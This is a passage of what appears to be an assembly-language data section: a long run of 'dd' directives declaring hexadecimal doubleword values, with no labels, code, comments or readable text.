766A8512h, 0E06E0483h, 5E75E7Eh, 0A423076Bh dd 0B194C299h, 63252850h, 0B87C00D5h, 5BD1B2Bh, 79890C4Fh dd 8AF804FEh, 0E4B00074h, 247C3C18h, 58288004h, 0AA61E163h dd 1349F10h, 0F40B1C2Ch, 18169539h, 0E06E5Ch, 8F63A2A9h dd 0E97D0DB3h, 7BE0AC65h, 4EDF979h, 924542Ch, 80754B64h dd 96E1DE98h, 8994A13Ch, 390460h, 0B4851C9Ch, 6C7A6B63h dd 0AEC5512h, 4937AC88h, 2900B491h, 4290E0E3h, 0C3008F4Ch dd 0ADEF11A9h, 0E860629Eh, 74D500D6h, 7996C561h, 261444AFh dd 7B083975h, 516F3413h, 0C8027016h, 420EC204h, 100E578h dd 0E552155Ch, 0A86E20D3h, 60A390A1h, 260850E4h, 8BD75Ah dd 0EDF94574h, 3C0CADCAh, 0D0043B25h, 7C81258Ch, 221F3C22h dd 0F3CB808h, 84AE5966h, 96E83F9Ch, 2E26C449h, 11B46554h dd 8C169448h, 0FAD44083h, 0FB3E5F03h, 8D062B05h, 109618D7h dd 56572629h, 76240C8h, 0D498B01Eh, 7B02360Eh, 8520455Fh dd 24E468C8h, 8CA8E263h, 9B80BF9Fh, 0A010DE4h, 0AE40DD58h dd 8C650685h, 0B700742Ch, 0A014D709h, 44007489h, 7C7F9E46h dd 501D349Dh, 259BB04Fh, 500F5186h, 0FB5D09FFh, 80F4889h dd 0D4488CF3h, 52078CA8h, 768F4B07h, 39303645h, 183CA971h dd 500BBF7Eh, 80C322EEh, 1D417A95h, 0A0D5CE98h, 0F0468C2h dd 0BDB848C9h, 0FA54A63h, 0B3009394h, 2EC504ABh, 0E534C8D4h dd 7C902E86h, 43290FB3h, 0E038F1D0h, 0D30AF4Fh, 9F0518B5h dd 2048B0BAh, 4D00A9DCh, 1444DF7Eh, 811B860h, 83320480h dd 0B8C8602h, 138880F5h, 38FACA74h, 0F8802CA0h, 24A203FBh dd 34108B87h, 7400E19Bh, 7A864C37h, 4A2C9266h, 0F0488CCAh dd 1843F0A4h, 0B4301E94h, 8B4C8F5Dh, 0CDAC8CE0h, 56FEFDFBh dd 0DC03CE7Eh, 5D04AD9Bh, 5C904C6Ch, 4341E10h, 9AFA0F63h dd 0AC18D480h, 2C46019Dh, 480460CDh, 4B3087E3h, 0FE4568B7h dd 565BDC04h, 0F893F485h, 0D81DB5A2h, 33DF0405h, 0D256AC05h dd 2BA6C406h, 2A94B10h, 0AC72B3C4h, 776C2009h, 9A79F58Ch dd 28FD6644h, 0EB29D866h, 542484CCh, 93082C4Ah, 5073182Ch dd 46310D7Fh, 0BC6DC978h, 0B137C033h, 0ACB8C3A1h, 0CC99182Ch dd 3928582h, 28945A7Bh, 0F1B54904h, 16E342E8h, 0A8AED3h dd 74930C27h, 74B9A504h, 539C8D10h, 0E55C1F68h, 0F240002h dd 0E07BF087h, 6CFC5F34h, 716228C2h, 984444Eh, 7EC96EAh dd 15913818h, 76440CB4h, 0B8927B09h, 814EF425h, 88BE04F0h dd 405A7A89h, 7234F2A3h, 0E406AC92h, 17160442h, 130CB3E0h dd 0ECDC30FDh, 0D80F95F1h, 0C0238D33h, 4C633B21h, 0FA9A732Ah dd 0C270D3h, 3575E660h dd 0D78B7770h, 0F4CAA603h, 0A0E432E1h, 0DEE379h, 0E6804CD0h dd 0C6E5ACF0h, 31FADF0h, 0F5009EB9h, 50857377h, 0C5CC0F20h dd 4A038359h, 69C8F3F6h, 2A489303h, 746062C2h, 0D7342050h dd 0EEEAD180h, 2FF8D00Eh, 0F3B47C6h, 4467340h, 552A0098h dd 0E95DEBE3h, 0FF71E6F8h, 8BC2011Fh, 545324C3h, 617AE95Bh dd 1F8983C3h, 0BA74FF16h, 8DE625EFh, 313F1E27h, 633B73Ch dd 8480BFEFh, 0D9E99CC8h, 8322C12Ch, 0DF8904ECh, 82B951F8h dd 69DC3B06h, 0A524C29h, 0C3815B59h, 58E91F0Ch, 2D583A13h dd 923D7271h, 5F81451h, 16E90C07h, 0C38F2426h, 29665C90h dd 1C7A0A63h, 5D400D6h, 31B80B48h, 0D87D015Ah, 5058E320h dd 411A6466h, 0CBDA042h, 18536810h, 6B74E90Ch, 5400BB0Ah dd 893A735Ch, 14295BD9h, 990C8BC8h, 0C4E36779h, 0EA370C04h dd 0B89240h, 465768F9h, 0EF75DB35h, 0C1406500h, 0D0F703E8h dd 907C20E9h, 241C8915h, 0EB949D25h, 22873006h, 6C45E95Ch dd 410C1222h, 0C7E153F1h, 0C7862EBh, 0FA3F5E78h, 0DD1B1A5Fh dd 54C12012h, 0A0B8505Dh, 0C7C5012Ah, 0BAC483F5h, 8758C30Eh dd 8CE9380Ch, 817511h, 0F2782CFh, 6E7C14Eh, 95E9520Ch dd 0A8CB377Bh, 0FE89578Ch, 31C74281h, 3C870C83h, 2CED5288h dd 0BFC58003h, 8C5B9FFEh, 80BD06B6h, 0E51AC0C1h, 2416806h dd 766BEADh, 0D81F6081h, 0C1F6305Fh, 0A90DF9C0h, 903CB14Dh dd 0EB63836h, 0C8213F85h, 7BB0059h, 0FB89CB05h, 429C639h dd 9C2E958h, 90420B93h, 775EEA81h, 0D3313FE7h, 1E5BEE98h dd 68035753h, 23352559h, 0AED80B5Fh, 55020B4Bh, 8382FFEFh dd 0BF004619h, 502B057Fh, 2ED9723h, 0E9557D3Bh, 0AE93250Bh dd 485721EFh, 34FFF45Fh, 31C78AA0h, 52854891h, 89C3EFBAh dd 5AD0E015h, 0E5893455h, 0EDAA323Ah, 0A598D308h, 2554E81h dd 7D1A6851h, 4941355Ah, 0F79141EBh, 0F878DCDEh, 0BAB00EC4h dd 93587282h, 0A1D7F2DEh, 59CD89B1h, 157E6C83h, 0DAF16ABDh dd 0C4BF528Ah, 0EA4A4188h, 29161B44h, 34C124DAh, 83EDD81Eh dd 1AAF7C3Bh, 71CF501h, 9716E908h, 31789732h, 8177FB00h dd 0EF76BAC6h, 30CC13Bh, 204C1580h, 4E048590h, 0F30119EDh dd 3A4031C9h, 7C21B9h, 0F1812E05h, 37E832A4h, 59CB2917h dd 5D24120Ah, 6CC85344h, 998F7B5Bh, 0F1E90662h, 0B9812240h dd 268923BDh, 380A9BEAh, 4CB7BE70h, 8AE41182h, 296154A7h dd 0F07B2414h, 0BA04DC5Ah, 5952E7D9h, 6442D682h, 56B2C042h dd 7F685E54h, 0BCBB3555h, 5A3A503Ah, 655523Ch, 70A6203h dd 37972080h, 0EAEF8100h, 8B6F443Ah, 906FA614h, 8C21A009h dd 1B7E3048h, 921A5C8Ch, 0F2007976h, 9D3235D9h, 905AD701h dd 0B904985h, 0B8C2077Fh, 0B36DA838h, 510A4A4Eh, 331C8BDDh dd 55DE8C0h, 770318F8h, 0DE9897Ah, 0E78A5741h, 1319EC81h dd 28001289h, 0A630E90Eh, 47680A5Ch, 14056239h, 97B31809h dd 80E8B7C9h, 0F7BE56A4h, 0F6075476h, 5D096868h, 2F6288E0h dd 0C156500Fh, 15EA1E93h, 0AA3670F0h, 54F70EDDh, 0B7C226D1h dd 0A2495368h, 8784F11h, 538000C2h, 2C8B4E28h, 0CDEC83AEh dd 0A77B020Fh, 0C1F58E62h, 55326F2Ah, 0B82C3BF7h, 0A709912h dd 607C1A8h, 0CEF737E9h, 187DB658h, 580EFB18h, 8E526C1h dd 12F51A71h, 20C95493h, 0F7728914h, 2ECE23DDh, 0F121DB62h dd 0D1F1495Dh, 0FBDCFB40h, 0F9E0A054h, 0BB538070h, 0E7300909h dd 51A20044h, 130BB332h, 4E5BDF31h, 28D8F7E5h, 42072972h dd 0E0F3817Ch, 0B687F054h, 900009E9h, 48A86816h, 0BAC05A7Fh dd 40696B52h, 7B293148h, 12E9F90Ch, 925E247Dh, 8ABD84B1h dd 6A01285h, 50D02E7h, 875EF101h, 0F7ED930Ch, 0E3E74812h dd 0C9C14E40h, 7C35FD38h, 8CFAF101h, 12F71C08h, 4141242h dd 613094h, 6931BFBBh, 0A5EBE65Bh, 2E986DFh, 0C11C5ED2h dd 0EADC07E2h, 130098E4h, 3146ADFAh, 295A1BD1h, 3FF8B8CAh dd 3A481C3Dh, 41E43F9Bh, 0CF70A30h, 6C484B71h, 0F34D9FFFh dd 7E49100Dh, 7F7F5449h, 33CA4DE1h, 5693BE00h, 0EEC1547Dh dd 0F6810800h, 2DD22B4Eh, 187A129h, 18DE0FF7h, 1778656h dd 4261978Eh, 5457030h, 256907A2h, 2D24859h, 5715146h dd 0E90A9F5Fh, 0C7A2D48Eh, 0D84208FAh, 0C45A5581h, 210894B1h dd 360B6F62h, 0C55DD2A4h, 63A06DFCh, 0FE91827h, 0FE5B5771h dd 2DABD2DDh, 5F060829h, 0D9EF0129h, 2E3FAF68h, 0EA13621h dd 0FDB0980h, 0CF08D185h, 8CF85210h, 2A0031ABh, 20478F45h dd 0B91C0D68h, 698A6BDh, 984E65B9h, 7EFE912h, 75351E52h dd 44879409h, 0B60F0276h, 32A968C8h, 0DBE9EE98h, 14FBD051h dd 0CAF195C2h, 0BF570013h, 300C23DAh, 0E6D77EF7h, 34E184Dh dd 926C0C04h, 29CBF005h, 0FFC95FFBh, 5CBF9F24h, 585844FFh dd 1828CF03h, 0E7B002B3h, 0DE24016Fh, 2B20E510h, 92506A7Ah dd 6F0FC6ADh, 215B940Ch, 0DCA4E9FEh, 3BDAABBh, 84CA592Ah dd 689B82CDh, 40F5E9EFh, 0C046836h, 5A14BC4Bh, 0B2D015C5h dd 105BD829h, 17514DE9h, 4B50D5F7h, 554DB0DFh, 69E91556h dd 0C200F987h, 1C674991h, 5A0AD329h, 0CF6B2268h, 0EF404469h dd 1D4201h, 3980CCFEh, 0AF51AF4h, 29D86860h, 97B7801Ch dd 0E7C0C7FEh, 0EDE9030Ch, 53C8C769h, 6605DA28h, 0A1A08B9h dd 3CCEC1A8h, 0BA8F52BDh, 1E76364h, 205AE6D1h, 2D08F118h dd 0B0E3C90Ah, 3B48202Bh, 801226D3h, 66D49127h, 0FC00CFA1h dd 7BFE7891h, 0DE153452h, 2132C916h, 7610A1D2h, 0E54F4AACh dd 944E8BC8h, 9D59A0EEh, 98575F16h, 0E92540C1h, 48A0534Dh dd 14EB0050h, 110862Eh, 87CD0D3h, 5CFAE913h, 66E50957h dd 0EFC16082h, 2975310Bh, 0D1A305EAh, 70C88809h, 21D40B5Fh dd 10ED5325h, 0F6077458h, 81C288D0h, 0E026EA80h, 74F752DAh dd 0B0185086h, 0E92028C9h, 5AD86F61h, 0EB30C50Ch, 7F2CAC7Bh dd 50C7F801h, 507C3AA3h, 0BEBD014h, 314E5B1Bh, 8089E984h dd 8BFB01C9h, 252E3C6Fh, 4D4405E0h, 0B6882282h, 0B04E1643h dd 4D360E6Ah, 0E905DB01h, 902CB4h, 0DA599DBAh, 7CCC680Ch dd 244A7F73h, 821864F3h, 154542FAh, 10958383h, 0AB0FA713h dd 0CEE03C91h, 6EE8504h, 10ECC56Fh, 31E505Ch, 59A251Ah dd 0E68C605Dh, 0FD090216h, 0F5001CB0h, 30A94AC2h, 5DE9E889h dd 0C109BA1Dh, 1A0402E1h, 5CC09279h, 0E8572E49h, 14CE0DF2h dd 59E8005Bh, 92CD828h, 445468ABh, 2C536F19h, 0D2F78664h dd 40729804h, 0B102C302h, 9CE99E1Ah, 409CA8Eh, 0CA19D5FDh dd 12E24D7h, 69E8EB66h, 57681EFFh, 2C8F491Ch, 6210567h dd 5C8C0724h, 0A4534455h, 0A19B5ACCh, 0F45721CBh, 57BA7AC0h dd 0BD601D9Ch, 78C8014Dh, 3BEB581Eh, 327BCB00h, 0F7E960C4h dd 86573659h, 57F1FC3h, 38115EC2h, 6E21C206h, 0C3D10B8Dh dd 0DE3F2C26h, 9D4D8C2h, 31698AAh, 111A5DB6h, 0E460F2CAh dd 41035CBBh, 0E8E9126Fh, 212E13D9h, 5B9B49D8h, 0E3F5FE10h dd 96FC783h, 59EC1151h, 1CE68214h, 0BA80B464h, 8CC17720h dd 0C380EB28h, 40348920h, 0A301BB71h, 521DEC65h, 0BAECAF68h dd 6FE91A3Dh, 7B992050h, 895FB087h, 1B0FC009h, 8EF4B384h dd 68287790h, 0F9342736h, 6DBE01B6h, 0E948EE36h, 0B1673483h dd 0C1FE1D1Ch, 8480C98Eh, 0BB802833h, 49E9DD88h, 5D26ADFDh dd 6AE608FBh, 2E7C106h dd 74064506h, 0BB09FAF2h, 446DACE9h, 4905A0D4h, 3266818Fh dd 0CD3C1087h, 3077B758h, 522130ADh, 28263DB2h, 9220C5D5h dd 281C594Ch, 0DD589696h, 0C3C028C7h, 19E9871Ah, 0E9168F47h dd 98F96E02h, 5A529C25h, 0DE164A53h, 633E549h, 0D606310Fh dd 0E101510Dh, 46ABBB0Eh, 0CCAB0637h, 4E1732E2h, 0E501D6F7h dd 7C1B6B41h, 16DF30h, 130EA3Ch, 84D9E9F3h, 680DC082h dd 0C95753B6h, 0AC73564Ch, 2ACB99E8h, 0FBCE2C54h, 3BE5402Dh dd 0D9986BBBh, 0BD214924h, 9BA5250h, 4BFE7C13h, 0E2C0FE0Fh dd 1E8E3C99h, 47FA871Ah, 5CA48406h, 0C143B004h, 2DDB3F1Ah dd 28F100B6h, 6068420Dh, 8A098B0Ah, 0C0224DB9h, 4A0E9CCh dd 511F7B05h, 59A083F7h, 807ED9A3h, 3D352318h, 3030497Ch dd 0F28D5DFEh, 2225550Ch, 0BF092Dh, 0B00F734Ah, 0D1093386h dd 72591AECh, 656F954Ch, 5CA35707h, 58C78900h, 1AE9F801h dd 46C2E769h, 0EA833BF3h, 41CD4A7Eh, 2368E2C9h, 636B497Fh dd 0BACA28FBh, 25103982h, 5911487h, 5F443112h, 830FCBDDh dd 5699C816h, 9BE6892Ch, 600C83C6h, 0E95CD287h, 18C15585h dd 8002EEC0h, 0C6CC84CDh, 7330739Ah, 2EF05D58h, 20545313h dd 723EE936h, 0A887A9D6h, 124EAC9Eh, 806A91BEh, 8759BAEDh dd 0BD9E291Ah, 5E0D0820h, 288616E9h, 83CDC928h, 2CE5F90Ch dd 515F1461h, 8005C78Bh, 61607092h, 7462DCBh, 2C848854h dd 6400BC47h, 0D605A21Ch, 2ED7E821h, 20778900h, 4F295E1Dh dd 12CC5912h, 1D6E20E9h, 0D0FF8CCh, 28EF0081h, 10D6171h dd 47FC5FFEh, 54735F7h, 2D6C81A6h, 40DD213Bh, 9E145D14h dd 80350D00h, 407D171Fh, 48D01FF7h, 0BC530F05h, 4B8E31EBh dd 5306EE69h, 2A1D38D6h, 5B3F7A59h, 53481C04h, 0DA3F0F12h dd 47EED31Eh, 855AD55Ch, 5999B0B5h, 17EA0158h, 9E281972h dd 66EE7683h, 631E633h, 7E90DC6h, 0DA09272Fh, 8F80BB1Ah dd 7AFA11A3h, 24F3E2B0h, 0DA06C2A3h, 890DCA96h, 0BC296A80h dd 0AE104930h, 6680CA8Eh, 4465E559h, 25648DAh, 217E69E9h dd 44D4E54Ch, 25E93860h, 0B75510FBh, 0CFFE2E0Dh, 592A1DEDh dd 702C04C8h, 0D493C78Fh, 0F00DE24h, 0F603E2C0h, 0C2DAE4D2h dd 655E908h, 0D8013E44h, 12DBC3Ch, 0BD9C59CEh, 49ABA58Bh dd 0F1C0BE03h, 89848248h, 8F5E21FAh, 29BF4047h, 0C2102C25h dd 0C1E14D9Ch, 8B13395Ch, 0D48C02C9h, 6EF1E903h, 0E9123E28h dd 88DB8222h, 5AAE8FF0h, 0F223664Ah, 0FBFC0002h, 0A034C0FEh dd 0E919B62Ch, 24A5FA92h, 94C9D301h, 20EDDE51h, 6C4CA10Fh dd 454BD8h, 5E5814Dh, 0E9680D76h, 7C04BA5Ah, 6385DEF7h dd 82036081h, 378EEA10h, 0FE65C728h, 3F201DB0h, 99B90513h dd 0A0745601h, 2A2C6590h, 17003D60h, 21F22561h, 415E28F1h dd 0FF8300B8h, 0CD019BFBh, 8EB15559h, 3DD15D12h, 5F02753Fh dd 87020860h, 0D2987EB1h, 6AE99C0Ch, 0A4E163h, 125C05D8h dd 895250D0h, 545109A0h, 0D0309659h, 0C700CD51h, 180F7198h dd 0E92CEF01h, 0BB968E97h, 3C600C89h, 744D4F4Fh, 45980C36h dd 8DC21D0Bh, 0EC649068h, 6ABA0071h, 0E946057Ch, 87D072E7h dd 0C524CF5h, 8EEAF181h, 0B88FA359h, 58CB12D3h, 88056C7Ah dd 0E1B334A8h, 0F291E08Ah, 975266D5h, 8C685830h, 4A849E3Eh dd 180FAC49h, 48EBBF50h, 52286600h, 685BDA01h, 0AA099526h dd 4D29FD9Bh, 0A02081BDh, 507B8E0Bh, 67E4A4Dh, 0F6815D08h dd 144967Dh, 3017D22Dh, 5BDED466h, 833FB239h, 0E956D829h dd 47274893h, 38A7EE00h, 5EF0893Dh, 0E0C1E2A0h, 84050701h dd 1F619A0h, 0EF897A31h, 9A409FE9h, 0CDF7C229h, 553C71D6h dd 98C1539Ah, 0D8B30C24h, 0A30807B4h, 0EAD102C8h, 0C840D039h dd 0E0A8FD03h, 0CD9467B0h, 993B0A67h, 84615803h, 50A9B16Ah dd 0F362E2E0h, 35B54F4Ch, 12C744CCh, 6850C300h, 841D684h dd 0FE086174h, 0ED0B08C5h, 78BC2CBFh, 5207F9ABh, 822BFA88h dd 423EC46h, 0EFBAC05Eh, 39512431h, 16CC44E2h, 85040B08h dd 0F8034211h, 7616E8F6h, 70C51645h, 52538070h, 267B2FE9h dd 0B1CF2C93h, 61935B5Ah, 3D6771EAh, 75194B03h, 5468EDB0h dd 0D4015D16h, 335C0B4Fh, 2317C6C0h, 0B0C94C8Ah, 0E9B2FC7Ch dd 849CC704h, 6E5A0921h, 0CC71AA27h, 44E91301h, 74F5D75Eh dd 9815D64Ah, 5B2C577Fh, 8341D078h, 62309749h, 40D64A52h dd 0ED319D5Bh, 0E359C155h, 175600D3h, 0E5D17B08h, 76CD0781h dd 6F1F6D1Ah, 0BD85250Fh, 0DE5EC07Fh, 4A12D816h, 5982D0E9h dd 0C15D4021h, 29107BE8h, 8EA42FAFh, 0B05FC831h, 66D6808h dd 12BC0B99h, 0B6607CA1h, 48D3510Ah, 7984A75Ch, 949F33Dh dd 1B3A3B68h, 0FB29764Ch, 0E9876E78h, 0C8A0C9BFh, 63931092h dd 6CB4A9B3h, 35EEF904h, 0DF015802h, 464B86D9h, 0D3662637h dd 0C6AA42B9h, 0BA2021D1h, 1A5DF8F4h, 19FE91B9h, 8F2AEA9Bh dd 0D9A88707h, 0A7ACCC73h, 504D7E15h, 0ADAAC32Ch, 3EB67451h dd 16575879h, 5C945F88h, 10DAD571h, 1125EC6h, 0D80501CFh dd 45158F6Eh, 9F8BCAA6h, 24387AC9h, 51B95FF8h, 258BE90Bh dd 172C9F9Ah, 0FE5ABBA4h, 0C6A04C24h, 34760BBAh, 0CE9042C6h dd 78AA8667h, 3371AA54h, 66D3103h, 712E380Dh, 144521h dd 0E72AE180h, 186008E5h, 83D9B446h, 4E670286h, 362F0ECEh dd 14D8703Dh, 0F8348BF7h, 5083E9E1h, 2B68ACD3h, 0DAD11765h dd 758BF49h, 483BA8D7h, 396B8Ch, 0C9817754h, 402B5071h dd 45CB0CCFh, 6990202Eh, 0A0067F72h, 59C8FBh, 5249525h dd 0E131E929h, 0F65C5AC7h, 0B60F6650h, 0B68E8CCh, 57E947CFh dd 6DA990E3h, 5D0A93C5h, 5A320D66h, 0DB8544BBh, 30328D83h dd 57803AB7h, 12AE0268h, 3C8B2F5Ch, 1F8BC3FBh, 0A8D5AA88h dd 21AFC5BFh, 26CC6D32h, 8913535Dh, 969846D9h, 0A6E961DDh dd 0D2DD2D21h, 0E45CBC0Bh, 0E9B092h, 0C0B7B640h, 32E902E6h dd 8000D0B6h, 506667F4h, 24541DF6h, 0C0588301h, 1C0605ECh dd 25ABE9C6h, 40773CAFh, 3CC4D519h, 8537E752h, 0B291B9CEh dd 2C61515Ah, 8B2774CAh, 4F2518E9h, 54DF8634h, 5C2ABC20h dd 4D313E5Dh, 42D82841h, 0A44A5BAFh, 8E3A140h, 50361301h dd 782E24B8h, 16E07D30h, 0D0F702h, 821635EDh, 2909DBC8h dd 4D58C5h, 1531A97Dh, 0EE011EE8h, 0A8D2795Dh, 84E294Ah dd 0E45969Bh, 8268E500h, 14BB290Dh, 0F7C66EEDh, 89051FA6h dd 82CFE9FBh, 0E61070B5h, 59E3699Ch, 7B7363A7h, 156CE4EAh dd 0FE16895Bh, 5EE95D04h, 0D213A975h, 2C49578Eh, 0A6C6882h dd 4A0889DBh, 0D6F60064h, 8006EEC0h, 0F9EAE639h, 0F508030Fh dd 0D6DDCF5Ah, 2063B214h, 0F2800484h, 0C1D0283Ah, 0DB025h dd 9658555Ch, 0B08FC53Dh, 68125901h, 8881A23h, 1281F255h dd 0A025173Ah, 30756A2h, 0E889DF45h, 0E2C23192h, 0BBAB54h dd 1E07F4F4h, 9044FB10h, 0D36F36BCh, 15FFB20h, 0B9BE5BDDh dd 0C15CD1A0h, 6330729Ah, 30AC46C7h, 12CA91D8h, 17008566h dd 5F38896h, 70042F40h, 2CD83AD4h, 0F3B3530Ch, 8072C306h dd 0CB0B9173h, 5B551BFh, 0B346D03Ch, 2098F2B2h, 0F60481EBh dd 3EAC0DAh, 8CC29987h, 68C19880h, 0BB7D480Bh, 0C67354C9h dd 20597428h, 0F4E392BDh, 55E10473h, 0BD6156E9h, 7304C76h dd 6FEA1459h, 181C016Fh, 0F07177B9h, 5D160F28h, 0A44C8753h dd 30249160h, 0C0BC62FDh dd 5214C580h, 512702B6h, 0D9F689B1h, 6C9CF261h, 0D7507588h dd 13952A98h, 4021C137h, 58543824h, 57C33176h, 30976FBFh dd 0D439E9BAh, 0FDF6ECA8h, 342E157Eh, 1096129h, 1BBC52C3h dd 29D787E9h, 0E4477FD8h, 2E2E6A7Bh, 1B40AD5Eh, 0F6714D0Dh dd 7168646Ch, 0EEFF80E7h, 6D5C1D32h, 5081F8Ah, 56914A00h dd 0BB588D68h, 4D370E79h, 9E92122h, 5B14EDF0h, 33B1EB81h dd 0CCDE2843h, 0F7C65380h, 0A32C0BAEh, 1A494BE9h, 87582EC2h dd 1F52E10Ch, 5012173h, 0A3769568h, 670505ABh, 478028D6h dd 909536C3h, 0BA28FF0Dh, 6DBF24h, 0CC05335Eh, 420AA31Eh dd 72DF801h, 1A825F17h, 0C60D007Dh, 5B02D874h, 87685148h dd 0C0C79B24h, 60C27DE7h, 8FC3D028h, 3C67AB7Bh, 66D27CDCh dd 0EBE67C2Ah, 95A14916h, 482D334Ch, 9362F1Dh, 8BE8EDA6h dd 0BE69640Dh, 6925A438h, 7C7AAC04h, 7109C7E8h, 6B827858h dd 5407462Bh, 8148E662h, 9D26331Dh, 53B4F047h, 800399C8h dd 3FE84A2Dh, 0E9CE010Bh, 0C4884248h, 6F96B4CCh, 0AB6265E9h dd 4D88CF5Eh, 17C92683h, 0CE97C426h, 505F00BAh, 0DD152968h dd 48582C22h, 0E0D10022h, 94C4635h, 78310749h, 0BD499D78h dd 835809C6h, 54F6F2EFh, 48549E5Ch, 3E209A5Eh, 1E75294Ch dd 0FC41D801h, 5370023Ah, 2B36770h, 0E963CD5Fh, 32C65643h dd 9D9134F0h, 4E7DEB07h, 0DA3144B0h, 0F7423A5Bh, 91F2047Ch dd 81989B45h, 0D8248847h, 0E9F88737h, 0BC282020h, 1F7149C6h dd 48D4E942h, 1ECFBEBBh, 8D62E542h, 3B14FE27h, 9E6C7528h dd 3D032C05h, 22C48081h, 0D858E588h, 0EDF2B2CDh, 0F82461FFh dd 2C7A77F5h, 2BE82826h, 21EC621Fh, 47C85C38h, 0AF573F46h dd 0F3280953h, 525C61A6h, 9CEE4854h, 5D5A4C40h, 0D38BD18Fh dd 0C0CAD093h, 0AD84F956h, 3680E550h, 16233670h, 31EA3146h dd 27F64B8h, 0A5A5EB66h, 0CF68A6C8h, 5979D247h, 9AF2145Fh dd 6BC00993h, 0F609C7E6h, 8028BB7Ch, 2B0DAB56h, 712D172Fh dd 0E93E0730h, 86C6E90Ch, 80E4B607h, 0C63398CEh, 19EEB101h dd 294A9778h, 7E73203Dh, 92E4999Dh, 5A0EC38h, 68257426h dd 0E9C5012Ah, 0EC044E37h, 2EDD06DDh, 90C0A11h, 489F5193h dd 0D2C2310Eh, 0B76A83Ch, 413FE90Bh, 0A94053D7h, 173B486Bh dd 0EDC101h, 7380F56Eh, 0E4ED3891h, 0E5254B88h, 0E96460F7h dd 0E3C4D2Dh, 0FA8BF528h, 0B18BCFEh, 0E4CC2E63h, 57C4050Eh dd 0F00142F3h, 407892Dh, 121F4B37h, 586C0644h, 46286E5Dh dd 0F7F0880Bh, 0C583D50Ch, 168E6A01h, 24A74A74h, 52ABCAAh dd 3D956CFEh, 332AD8C0h, 0C06F4CF6h, 84055F00h, 293A6245h dd 5D4D9CC4h, 92D78904h, 0D5A05A16h, 3C8BF821h, 0F2483B9h dd 0C8310E02h, 9CE1CC50h, 59436C46h, 7B20AE98h, 0F7BE3CFDh dd 8C327D1Eh, 566E73B2h, 8398A1h, 2A2BF605h, 838604F7h dd 0E9651707h, 316583C8h, 0EC6D77B7h, 0D339880Eh, 5BDC845Ah dd 0D597C4FEh, 0AAC0C553h, 0B455E004h, 40EC90FBh, 1C00BAEFh dd 0BD406A51h, 50BC8A7Dh, 4A2AD44h, 291A565Eh, 1409C4D5h dd 8C100808h, 84074C21h, 0F6B2F031h, 0D184218Bh, 1689AC53h dd 6F01FE09h, 0DA0E50BDh, 0D640AC3Ch, 3D1618B4h, 63F60C17h dd 93334F26h, 7366A700h, 4142E93Ah, 2805426Ah, 5C1386D6h dd 0F28C01D1h, 0DDEB2001h, 2FBF35A0h, 50962F22h, 245F7F33h dd 5293D82Ch, 5741DB32h, 0E7272E23h, 48757083h, 3A04227Dh dd 8416E669h, 1C85090Ch, 5B82A6A9h, 0F1845506h, 89B7B112h dd 0C63B4020h, 14949FA8h, 6CA4E912h, 2EB5ED31h, 3F01AA30h dd 0F3B45166h, 7F9D012Fh, 0EC1C7D07h, 2CA45610h, 782E8D80h dd 0AD2631B5h, 596B0F3Eh, 31081AE5h, 44DEF0Fh, 62E6F712h dd 54D7347Eh, 0CC14A810h, 694C48CFh, 11C4F2DAh, 0BDC2FE5Ah dd 7C3AC401h, 0D9834134h, 2D2D2B14h, 5202B1FFh, 0E6495462h dd 0E590FEC9h, 5DCBBDA6h, 2AE05F0h, 364C18A8h, 0B0502304h dd 5B1E8D5h, 52E9832Ch, 0AC25F8BCh, 199ECC46h, 983515C2h dd 0FBE56C0h, 2D437ED0h, 5F66F72Ch, 0DA986E4Bh, 1D89DE62h dd 0A1A9D6EFh, 96DD39C7h, 0F71CD6E2h, 0C268C7E1h, 83C7A71h dd 8101631Bh, 353C99F1h, 0A0CBC770h, 82BF1CABh, 7990BC5Ah dd 0EE30A7B7h, 0D15053D3h, 0C65255DEh, 3CF9E0C3h, 3A6E2811h dd 631A570h, 0B1D47E9h, 73C3016Bh, 0AA6CC5Eh, 0CD693381h dd 2CFFA29Dh, 0F2291249h, 74BF672Ch, 7E3A0122h, 5E5FFA29h dd 1A453E21h, 6FD7F9E9h, 0DDE466C9h, 0AE2AE25Eh, 6490F8BCh dd 3327199Fh, 6C31E543h, 0E93F0D06h, 6DBC942Ah, 7055C689h dd 18B75B6Ah, 0BD0BFC63h, 53098614h, 4729BF68h, 685B8211h dd 0B6CC35C9h, 8A09235Ah, 4184D852h, 32F842D7h, 25D91CCAh dd 89C82989h, 55C2084h, 0B02D26D7h, 4D86208Eh, 0CBF5713h dd 4F7EC400h, 108E7C1h, 225BCF81h, 0DC470E6Eh, 0EC01DFEFh dd 0F9014AC5h, 907C295Fh, 0B83E7D05h, 3A888614h, 197FBBEAh dd 81EF168h, 4BBF1C30h, 5E2D051Fh, 0D95F3D68h, 24DA2357h dd 5E966BF1h, 1254A1CCh, 2503B5E9h, 0F195948Bh, 0E82A3191h dd 0ABA614F7h, 245B090h, 0D1111414h, 0B721960Eh, 0DA72FB3Ch dd 577AC205h, 631C279h, 0E55DEF00h, 0C704B701h, 0D206ED2Dh dd 38C08991h, 523CA633h, 2B1EA480h, 0DAF75A70h, 770304D6h dd 0D2EFF8B5h, 3171E189h, 372E4B2Fh, 0E441E0C2h, 0B5102A6Eh dd 2AF605CFh, 0F70952DCh, 3922C44Ah, 222F1DC3h, 0F320F20Fh dd 8F066548h, 18A1E916h, 9D1C9591h, 0D34A042Eh, 38769114h dd 6D6705BBh, 667A35B2h, 41F5902Eh, 29D64027h, 98246CBFh dd 1235AE31h, 97D8FB9h, 0E764E9D7h, 0CECBF233h, 4968D109h dd 611EC406h, 0A8BD651h, 0EFC9408Dh, 982D938Fh, 483D62E5h dd 0A2DBF74Ch, 0E466002h, 0C8018043h, 31570500h, 662D202Fh dd 517D3D5Fh, 2A711904h, 8494BC62h, 5B0908DCh, 0C7396183h dd 19D59110h, 0B3EBBBC0h, 290992C8h, 8D015BDEh, 7FF498C5h dd 0A035E8Ah, 0B08C7B1h, 6DE38568h, 92E4E620h, 2902C5A2h dd 60D3D9FDh, 7F3D8061h, 25C75B72h, 0D95E6522h, 31123D96h dd 20F1A2F5h, 2D23BE8Bh, 0BA97A2CCh, 782D4190h, 19FA8104h dd 449D2206h, 2F44FEE1h, 80B603C2h, 0D601D43Eh, 2468FDEAh dd 86B7E883h, 4880D37Eh, 0D05A544Ah, 0B6A6C2D3h, 36FE2A32h dd 63B5F95Ah, 2E88EBAh, 53004217h, 355573BBh, 53E46841h dd 883F1570h, 0F0159492h, 0D49431A4h, 94EF380Bh, 637CC18Dh dd 6167FB17h, 58B012AEh, 0FA532CF6h, 0C0836A76h, 5FEB75Eh dd 626850CDh, 